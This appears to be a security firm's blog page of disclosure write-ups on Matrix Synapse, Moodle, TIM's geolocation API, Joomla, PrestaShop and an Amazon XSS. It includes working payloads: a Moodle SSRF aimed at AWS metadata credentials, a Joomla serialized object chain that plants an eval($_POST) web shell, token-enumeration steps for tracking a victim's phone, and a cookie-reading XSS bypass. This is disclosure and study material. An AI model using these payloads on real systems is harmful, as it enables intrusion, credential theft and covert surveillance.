Hacktive Security Blog

Matrix Synapse 1.12.3 - SSRF and Cache poisoning

tl;dr

After some emails with the Matrix security response team, the Matrix Synapse servers have been found affected by a security issue about the lack of a validation system for "Server-to-server" API leading to SSRF and Cache poisoning subsequently marked by the team as “feature” or “intended”.
The scope of this article is to clarify this point; a malicious user, if not specifically denied by configuration files, could effectively load malicious content using what is called the “Server-To-Server” API and, since the caching mechanism allows a lifetime of 24h, it could allow to host arbitrary files for that duration.
After a discussion with the team, as I stated before, they came to conclusion that this is an intended behavior and the best solution is to use an offload antivirus to scan for common malicious patterns on the uploaded files.

In conclusion, I want to thank the security response team for the response and for having this discussion.

Reponsible disclosure timeline

2020-04-29 Vendor is notified
2020-05-31 First contact with the security response team
2020-06-08 Discussion about the issue, marked as "intended"
2020-06-16 Disclosure

 

Introduction

Matrix is an open standard for a decentralized, interoperable and real time communication over IP.
This standard is widely documented and it defines a set of open APIs for communications. Its main point of strength is the ability to have a decentralized, securely encrypted and segregated federation of servers, giving the opportunity to every user that uses this standard to take advantage of the following capabilities:

  • Instant Messaging (IM)
  • Voice over IP (VoIP)
  • Internet of Things (IoT) communication
  • A good amount of integrations (or bridges) with external IM/VoIP protocols like:
    • IRC
    • Skype
    • Telegram
    • WhatsApp
    • E-Mail
    • Hangouts
    • WeChat
    • Twitter
    • Keybase
  • A good and simple set of JSON Rest APIs that allows developers to create their own clients or bots
  • Fully opensource
  • KISS principle
  • End-To-End encryption feature by design

 

The federation concept

The idea behind a federation server is simple and yet effective; an isolated, on-premise Matrix server will be capable to interact with other servers using a common API.
Following a schema taken from the matrix.org website:

 

undefined

Figure 1 The matrix federation architecture

Every matrix client connected to a federated server can, if not specifically denied by configuration, communicate with other people from other servers or channels. Cryptographic’ private keys will not be shared among the federated servers.
The communication between servers is documented in the Federation API (or Server-Server API) docs.

The federation API

Matrix home-servers use the Federation API in order to communicate with each other. Home-servers interact with these APIs in order to push messages to each user, join channels, retrieve history and query the information about users on each server using JSON format.
One part of this is called the “Server discovery” API. And it will be the main subject of this research.


The bug - Server-Side Request Forgery and Cache Posioning

If not specified, matrix home-servers allows to integrate with other federated servers by using an exposed API. The following screenshot is an example of a file download that is located in the matrix.org federated server:

 

undefined


The highlighted part defines which federated server should be used to download the file. By giving a different URL, the following response is received:

 

undefined

Figure 2 Original request

 

undefined

Figure 3 Callback

 

So, the federated server is looking for a “server” file inside the “.well-known/matrix” path. As specified in the documentation, the server is expecting a JSON formatted file that specifies the information about the federated server like the following:

 

undefined

Figure 4 Expected configuration file


With this in mind, some aspects should be considered:

  • Loopback or localhost address, even specified as numeric IPs (like 127.0.0.1) are blacklisted by default (the “federation_ip_range_blacklist” parameter on “homeserver.yaml” file)
  • Using protocols different from HTTP or HTTPS will result in a timeout
  • 30x redirects are accepted
  • The cache lifetime is statically set to 86400 seconds (1 day). When a subsequent request to the same host is made, the result will be the same as the last one (this will open a Cache Poisoning scenario described later).
  • If not specified, the 8448 port will be used
  • The TLS certificate must be valid, so no unencrypted protocols can be used (if not allowed from configuration file)
     

 

The next step is to create a configuration file that points to the attacker’s-controlled endpoint:

undefined

Figure 6 Configuration file

 

And, after issuing another request, a callback is received:

 

undefined

 

undefined

Figure 8 Callback

 

In order to obtain a full exploitation scenario, a “malicious file” is created.

undefined

Figure 9 Creating a "malicious" file

 

And a new host is configured on .well-known/matrix/server file:

undefined

Figure 10 New matrix server configuration file

 

Then, a new request for the “malicious_file” is made:

 

undefined

Figure 11 The malicious file is cached for 24h

 

So, from now on, this file will be available in matrix.org servers for 24 hours; even if the external federated server is not available.

 

undefined

Figure 12 File download

 

Impact of this vulnerability

An attacker could exploit these two vulnerabilities in order to:

  • Host malwares or, generally speaking, infected files
  • Use it as a C2 server in order to broadcast files or messages
  • Use it to launch denial of service attacks
  • Hide the attacker IP while sending HTTP requests (using the server as a reverse proxy).
  • If an XSS vulnerable application is hosted on the same host, this could bypass the Same-Origin Policy and allows an attacker to embed
  • JavaScript files directly into the application, as long as share application cookies.

Affected versions

At the time of writing, the affected version is “1.12.3” as reported from the matrix.org API:

Remediation

The remediation is simple and it’s just a matter of specifying a list of whitelisted federated servers on the “/etc/matrix-synapse/homeserver.yaml” file. Unfortunately, this parameter is not set by default nor mandatory while installing the matrix server and there are some considerations to take in mind while applying this remediation (take a look at “Final considerations and thoughts” chapter).

undefined

Figure 13 Effective remediation

Final considerations and thoughts

There are some aspects to take in consideration while analyzing this vulnerability. This flaw is basically leveraging on a feature and, in some cases, a remediation like the one proposed in the “Remediation” chapter isn’t feasible.
A server like Matrix.org that SHOULD allow every federated server to connect and interact; the whitelist scenario may not be applicable.

DevOps should be aware that keeping the default settings and letting every federated server to inter-communicate with each other is a serious security risk. This, at the same time, would effectively help the “Federated network” concept to grow.

Fixing this vulnerability could be a serious hit on the matrix-synapse federated network’s idea; let’s imagine the case. The server blocks the ability to download files or perform requests to external locations, so files are not shared among others federated servers. The result is that User A on server 1 cannot share files with User B on server 2, and vice-versa.

Lastly, while the note on the configuration file “/etc/matrix-synapse/homeserver.yaml” states:

# N.B. we recommend also firewalling your federation listener to limit
# inbound federation traffic as early as possible, rather than relying
# purely on this application-layer restriction. If not specified, the
# default is to whitelist everything.

This clearly isn’t a good solution if the server needs to be inter-connected with the rest of the world.

(Cristian 'void' Giustini)

Multiple SSRF on Vanilla Moodle Installations

During the time dedicated to research we found 2 Server-Side Request Forgery on Moodle. The first one is a Blind SSRF already discovered in 2018 and tracked as CVE-2018-1042 without a proper patch, the other one is a fresh SSRF while parsing image tags inside the same component (File Picker). 

They are currently not patched and both working on the latest Moodle version because the Moodle Team, as they said from emails, leaves the responsibility to protect network interactions to system administrators. I personally do not agree with this statement because it leaves a dangerous vulnerability in a vanilla installation that can lead critical scenarios especially on cloud based hosting. So, in order to protect your Moodle installation, check out the Workaround section at the end of the article.

Let’s deppen these vulnerabilities starting from the impacted component, the File Picker.

File Picker

The File picker is a core Moodle component used to handle file uploads for multiple scopes. For example, it is used in the user’s profile picture handling or in ‘Private Files’, a dedicated area for any authenticated user. You can easily upload a file, but also retrieve an image from an arbitrary URL(!).

As it is used for multiple purposes, it is by default accessible to any authenticated user (also low privilege ones).

The fresh SSRF

The vulnerability resides on image parsing from an arbitrary URL (when an user choose to retrieve an image using the URL, as mentioned before).
If you request an HTML page, Moodle will fetch all ‘<img>’ tags inside it and ask you to choose which image you want to download. It extracts the src attribute for all image tags in the page and directly downloads the image, without further checks. That means that if we request the image from a server we control, we can request an HTML page with an arbitrary URL inside an image tag and Moodle will perform this arbitrary request for us. Then we can save the fake image (that contains the response for the SSRF) and display its result.

PoC

undefined

From the ‘URL Downloader’ action inside the File Picker, we can put a URL to our server that points to /index.html, that will contains the following payload:

<img src=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance>

The request will catch our ‘src’ attribute as follow:

undefined

 

That will result, in the UI, in the following selection:

undefined

We can click on the box, and choose to download the fetched ‘image’:

undefined

In order to download the response, we have to provide a custom extension in the title name and customize the accepted_types[] parameter according to it (for example .arbitraryExtension)

undefined

 

The returned JSON response will contain the path to the result file (with the arbitrary request’s response), that we can download with a GET request:

undefined 

 

By automating this whole process with an exploit, we can now easily interact with local services.

For example, in a AWS EC2 instance we can interact with the Meta and User Data API internal endpoint at 169.254.169.254 (You can find more about this API at AWS Documentation).

undefined 

undefined

The old Blind SSRF

The unpatched Blind SSRF vulnerability (CVE-2018-1042) was already described here: exploit-db/exploits/47177. The patch did not applied any fix, so it is still exploitable and more suitable for internal port scans (as it is blind):

undefined

You can find both exploits in the Reference section.

Conclusion and Workaround

As we said, these SSRF are actually working on the latest Moodle release and their impact can be pretty critical for cloud based instances. Moodle has an open issue that plans to restrict most common restriction scenarios (MDL-56873) from 2016.

To fix these issues, from ‘Site Administration > Security > HTTP Security’ it is possible to restrict allowed hosts and ports (cURL blocked hosts and cURL allowed ports). You can customize these configurations based on your environment (such as restricting the loopback, internal network and allowing only HTTP ports to avoid port scans also to external sources).

Video

Timeline:

02/02/2020 - Moodle contacted
03/02/2020 - They received the request and handle the case
06/02/2020 - Blind SSRF vulnerability rejected (System Administrators should fix it)
11/03/2020 - We replied to some questions
25/03/2020 - Also the SSRF vulnerability is rejected (System Administrators should fix it)
25/03/2020 - Tried to emphasize the risk
30/03/2020 - Issues closed without a fix

(Alessandro Groppo)

A true story of mobile device geolocation

TL;DR

During the monthly research activity, in accordance with the relative Respnsible Disclosure program, we found and went in depth with an interesting security issue allowing geolocation of mobile devices using TIM, an Italian communication provider. A malicious user could find the TIM customers geo-position by forcing the approval mechanism to allow the geopositional tracking. By the way, thanks to TIM and its Responsible Disclosure program that allows several researchers to ethically disclose findings since 2018.

The research has been focused on TerminalLocation API service provided by TIM on its API Store.
TerminalLocation lets retrieve location of arbitrary devices by their phone numbers.
Below a service description provided by TIM:

“With TIM API - TerminalLocation track and monitor the location of mobile devices using geographic coordinates (latitude and longitude), date and time. Location information are valid for TIM customers.“

Let's see how it works.

Overview of the service

In order to use the API service, we needed to sign up and then create a test application to retrieve an API key.
Hence, you can make a GET request to /try/location/v1.1/<PHONE_NUMBER> including the API key in the request header. If this is the first request targeting the phone number, an SMS is sent asking for an authorization approval to notify the current position at any time.

 

undefined

In order to accept being geolocalized, the user has to click on the link in the message, which contains a base64 encoded user-token, and then click the confirmation button.

undefined

This action triggers a GET request to /tim/api/unsecured/consenso/<user-token>.
Everything seems ok, users have to agree in order to use this service. But things turned out for the best, almost...

Vulnerability

We started to collect multiple tokens and we were surprised about their low entropy.
The base64 string sent within the link hides a 24 character token with both static and at first glance random values. If we break up some tokens, obtained within the same day and with few hours of delay, we noticed the following schema:
XXXX AAAA YYYYYYYYYYYYYYY D
XXXX BBBB YYYYYYYYYYYYYYY E
XXXX CCCC YYYYYYYYYYYYYYY F
(next day)
XXXX GGGG ZZZZZZZZZZZZZZZ H

The schema may be decoded as follows:
First part: the 4 Xs are always the same, they may be a static value
Second part: the 4 As, Bs, Cs and Ds are random characters
Third part: the 15 Ys and Zs are constants changing day by day; it may be related to the current date
Fourth part: the E, F, G, H are random characters

We have confirmed that these tokens are not randomly generated and they have pretty easylogic behind.

The crucial test consisted to send requests for 2 tokens in a very short period of time (2 seconds):
XXXX XXDD YYYYYYYYYYYYYYY A
XXXX XXFF YYYYYYYYYYYYYYY B

Bingo!
They differ for just 3 characters and they are incremental!
At this point, we could easily guess with more confidence how tokens are generated: The first 4 characters are always the same, then 4 characters could be related to a timestamp, because they are consecutive, then 15 characters related to the current day and finally 1 random character in the last position.
With this insight we could create an enumeration tool, but another key point was reducing the character set:
A request with a syntactically correct token returns an error message containing “agreement not found":

undefined

With a malformed token (invalid length or invalid character set) it says Invalid parameters:

undefined

After few fuzzing requests we could determine that all characters were in a hexadecimal format, reducing a lot the enumeration (16 characters instead of 36 characters of all lowercase alphabet plus numbers).

Exploitation

The exploitation has been pretty easy:

  • Receive a token on our phone via SMS
  • Send the second token to the victim after few seconds
  • Deduce victim’s token from our one.
  • Localize the phone!

In order to automate this process, we wrote a few lines in python.
First, request two tokens with two seconds of delay (the first token to us and the second to the victim).
The timing is crucial because of its consecutive logic based on some sort of timestamp.

undefined

Attacker’s token:

undefined

Now we have the token generated before the victim’s one and we can easily predict it with an enumeration with 2 characters starting at the 6th position and one last character.

undefined

Thanks to multi-threading and, of course, low entropy, this enumeration took less than 1 second to retrieve the victim’s token.
With that token, we can now accept the agreement to the service with a PUT request to /tim/api/unsecured/consenso/<token>?operazione=APPROVA and geolocate the victim phone:

undefined

undefined

Responsible Disclosure:

14/08/2019 - Vulnerability found / Vendor contact
14/08/2019 - Automatic response
27/08/2019 - Vulnerability acknowledge
25/10/2019 - New fixed release planned at the end of November
03/12/2019 - Fix released

(Alessandro Groppo)

Rusty Joomla RCE

undefined

Introduction

During one of our research activities, we discovered an undisclosed PHP Object Injection on Joomla CMS from the release 3.0.0 to the 3.4.6 (releases from 2012 to December 2015) that leads to Remote Code Execution.
A PHP Object Injection was discovered in the wild and patched in the 3.4.5 version (CVE-2015-8562), however, this vulnerability depends also a lot on the PHP release installed becoming not really trusty for all environments.

Comparing this RCE with CVE-2015-8562:
+ It is completely independent from the environment, becoming more reliable;
+ Vulnerable from the 3.0.0 to 3.4.6 (just one more minor release, not so much by the way);
- Few releases vulnerable compared to CVE-2015-8562.

However, the fun part of this vulnerability was the exploitation. There aren’t a lot of blog posts about some more advanced and manual exploitation of PHP Object Injection (except for some good resources from RIPS) so this paper can be useful while exploiting it in other contexts.

How Sessions works

Joomla sessions are stored in the database as PHP Objects and they are handled by PHP session functions. It is an interesting attack vector because sessions are also stored for unauthenticated users so an Object Injection there can lead to unauthenticated RCE.

Functions read() and write() defined in ‘libraries/joomla/session/storage/database.php’ are set by the session_set_save_handler() in order to be used as read and write handlers for the session_start() call at ‘libraries/joomla/session/session.php:__start’

This is an example of a classic Joomla (before 3.4.6) session stored in the database for an unauthenticated user (at table __session):

undefined

There are many objects defined, but the most interesting thing is how input parameters are handled in the session.
If we make a regular action with parameters, these ones and the result message of the action, are stored in the session object like this:

undefined

When we perform POST requests in Joomla we usually have a 303 redirect that will redirect us to the result page. That’s an important note for the exploitation, because the first request (with parameters) will only cause Joomla to perform the action and store (e.g. call the write() function) the session, then the 303 redirect will retrieve (e.g. call the read() function) it and display the message back to the user.

The vulnerability

This is the code for the read and write functions (just remove unnecessary code).

undefined

The write function accept 2 parameters, the session_id (from the cookie) and the serialized object. Before storing data into the database there is an interesting replace of ‘\x00\x2a\x00’ (chr(0).’*’.chr(0)) with ‘\0\0\0’. That’s because MySQL cannot save Null Bytes and $protected variables are prefixed with ‘\x00\x2a\x00’ in the serialized object. 

On the other hand, when reading, the read function will replace ‘\0\0\0’ with ‘\x00\x2a\x00’ in order to reconstruct the original object.

The main issue with this replace is that it’s replacing 3 bytes with 6 bytes:

undefined

This behaviour has been introduced from the 3.0.0 version and affecting Joomla until 3.4.6. Starting from 3.4.7 the piece of code is still present but the session is base64 encoded and stored in the database.

As I said before, we can manipulate the session object through action parameters. In this way, we can inject ‘\0\0\0’ that will be replaced from the read function with 3 bytes, invalidating the object because of incorrect size.
If we take the login form as a target and we put ‘my\0\0\0username’ in the username field, we end up with the following part of object in the database:

s:8:s:"username";s:16:"my\0\0\0username"

When the session object is read from the read function, ‘\0\0\0’ will be replaced as demonstrated before, assembling the following value:

s:8:s:"username";s:16:"myN*Nusername" --> Invalid Size

The replaced string is only 13 bytes long but the declared string size is still 16!
We can now take this ‘overflow’ to our advantage and forge a new object that will lead us to the final goal... RCE! :)

Exploitation

In order to trigger our arbitrary object and achieve RCE we need two parameters in a row, the first one will cause the ‘overflow’ and the second will contain the last part of the exploit. The perfect target (included in a default installation) is the login form with the ‘username’ and ‘password’ fields.

That’s the plan:
- Overflow the username field with enough ‘\0\0\0’ in order to land in the password field
- Reconstruct a valid object
- Send the exploit
- Trigger the exploit (with the redirect)

We know that we can downsize the string size. By doing that on the username field (that precede the password) we can fake it and let it ends inside the next parameter under our control.

[..]s:8:s:"username";s:10:"MYUSERNAME";s:8:"password";s:10:"MYPASSWORD"[...]

As you can see, the distance from the end of the username value and the start of the password is 27 bytes. The vulnerable replace let us decrease the value with a multiple of 3 (6 bytes - 3 bytes) so we need at least 8 times ‘\0\0\0’ in the username field that will cause a simple padding of 1 extra character in the second parameter in our exploit (in the POC I used 9 times \0\0\0 to be sure).

In bold, what unserialize read for the ‘username’:

(in database)
s:8:s:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:8:"password";s:10:"MYPASSWORD"

(after read and replace)
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPASSWORD"

(Achieve Object injection):
s:8:s:"username";s:54:"NNNNNNNNNNNNNNNNNNNNNNNNNNN";s:8:"password";s:10:"MYPA";s:2:"HS":O:15:"ObjectInjection"[...]

We have a stable way to inject an Object, now it’s the time to craft it.
We can use the payload from the CVE-XXXX exploit as a starting point, however it requires some modification:

O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_ZWQXJ']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

This payload will instantiate a JDatabaseDriverMysqli object and assign an array of other objects in the disconnectHandlers attribute (a protected array variable). This is because the defined __destruct of this class will call $this->disconnect(), that leads to an interesting call_user_func_array():

undefined

For each value in the disconnectHandlers array a call_user_func_array() is performed with a reference to the object (&$this) as a parameter. It’s a good gadget, but we only have control over the function call and not on parameters. That’s where SimplePie object came in our help.

In SimplePie::init (declared in libraries/simplepie/simplepie.php) we have different interesting gadgets, like the following:

undefined

This is much more suitable, because we have a call_user_func with both function and parameter values under our control.
However, that’s why I think the original payload wasn’t working, there is a condition that must be met in order to receive this line of code: $this->cache must be declared and $parsed_feed_url[‘scheme’] (the parsed url from $feed_url) needs to contain something.
Bypass this condition was not so difficult. At first, with cache_name_function set to ‘system’, something like ‘https://something/;id’ was enough. The first command fails but the semicolon do the rest.

However, while developing the Metasploit module, I was not so happy about this solution. If the target environment have disabled functions like system, exec, shell_exec, etc., you cannot do a lot with this exploit, and I wanted to make something more suitable for more environments.
So, I moved back to the assert function and see if I could achieve PHP code execution while respecting the condition. The only think the condition is checking for is a string that contains a valid schema (e.g. http:// ), but this will cause a syntax error. In order to bypass it we can chain an OR (||) statement and trap the schema into a variable, like this:

<PHP CODE> || $a=’http//’;

We were limited again against some special characters (like ‘?’) and from the assert function, so we need a way to move on a less restrictive environment. The first idea was to create a php file in the root directory with an eval(), but without the ‘?’ the web server will not interpret our code. A ‘configuration.php’ file is present in the root directory. It is nothing more than a class declaration with configuration parameters in it. We can append an eval at the end of this file and use it to execute PHP code with the following payload:

file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';

That will result in the following call:

call_user_func("assert","file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\'])) eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';")

At the end, this is the final object:

s:2:"HS":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:125:"file_put_contents('configuration.php','if(isset($_POST[\'test\'])) eval($_POST[\'test\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

Now we have everything necessary to develop a working exploit. Putting stuff together, we can send the exploit using the login form, this will store the malicious object into the database.
Then we can follow the redirect from the first response and the payload will be retrieved from the database and unserialized from the session_start() function and .. we got RCE!

Exploit:

https://www.exploit-db.com/exploits/47465

References:

https://nvd.nist.gov/vuln/detail/CVE-2015-8562
https://blog.ripstech.com/2018/woocommerce-php-object-injection/
https://www.php.net/manual/en/ref.session.php

https://www.hacktivesecurity.com

(Alessandro Groppo)

Prestashop <= 1.7.6.0 RC 1 - Insecure Direct Object Reference

During a security assessment, we found an Insecure Direct Object Reference on Prestashop. In particular, the finding could allow an attacker to leak personal information such as first name, last name, phone number, shipping and invoice address.

This vulnerability affects all versions before v1.7.6.0 RC2 and was referred as BUG FIX #14444 in the Changelog. (https://assets.prestashop2.com/en/system/files/ps_releases/changelog_1.7.6.0-rc2.txt)

undefined

The vulnerability resides in the checkout process, during the selection of the delivery and invoice addresses. These addresses are bound to a global incremental ID and are sent without checking that the relative ID belongs to the current user. This could lead to an information leak affecting customers data.

As previously mentioned, all the versions <= 1.7.6.0 RC2 are affected but the payload is not the same for all of them. On older versions (such as v1.6.1.17) addresses can be leaked in the second stage of the checkout process if the "final summary" option is enabled (this option shows delivery and invoice address) before the payment.

In the latest version, in order to leak other personal information the whole checkout process must be completed and then the leaked information will be shown in the orders history.

Timeline:

01/07/2019 : First contact with the Vendor

01/07/2019 : Acknowledge from the vendor

05/07/2019 : Patch released

09/07/2019 : CVE-2019-13461

(Alessandro Groppo)

Responsible disclosure - Reflected XSS on hireon.amazon.com

On March 13th, by using dnsrecon (https://github.com/darkoperator/dnsrecon) and a huge wordlist, I came across with an Amazon domain (hireon.amazon.com) with a Reflected XSS.

Usually I don't use to write an article for an XSS vulnerability, but I would share a trick I discovered during this analysis.

Looking for a not existent resource, the following error message was displayed on the web page.

undefined

If a string was concatenated to the resource id, then it was printed on the page. At the first stage I tried to use html tags and no input validation was performed at all. Then I tried to use javascript code and I have found a couple of filters for some special characters. In particular when the “dot” (.) character was detected an error message was thrown.

undefined

In order to show an alert box with the current domain name (or cookies) I should have used “document.domain” or "document.cookie" but because of dot character I had to find an alternative way. At that point I tried to use the document object like an associative array (as shown in the following screenshot) and I was able to show the current domain name within the alert box.

document["domain"] or document["cookie"]

undefined

undefined

On March 21st, Amazon changed the domain name in livecode.amazon.jobs but the XSS was still there.

Finally, on March 26th, the XSS was completely fixed.

Timeline

- March 13th - First contact
- March 21st - Domain change but the vulnerability is still there.
- March 26th - Fixed

(Carlo Pelliccioni)

Home ← Older posts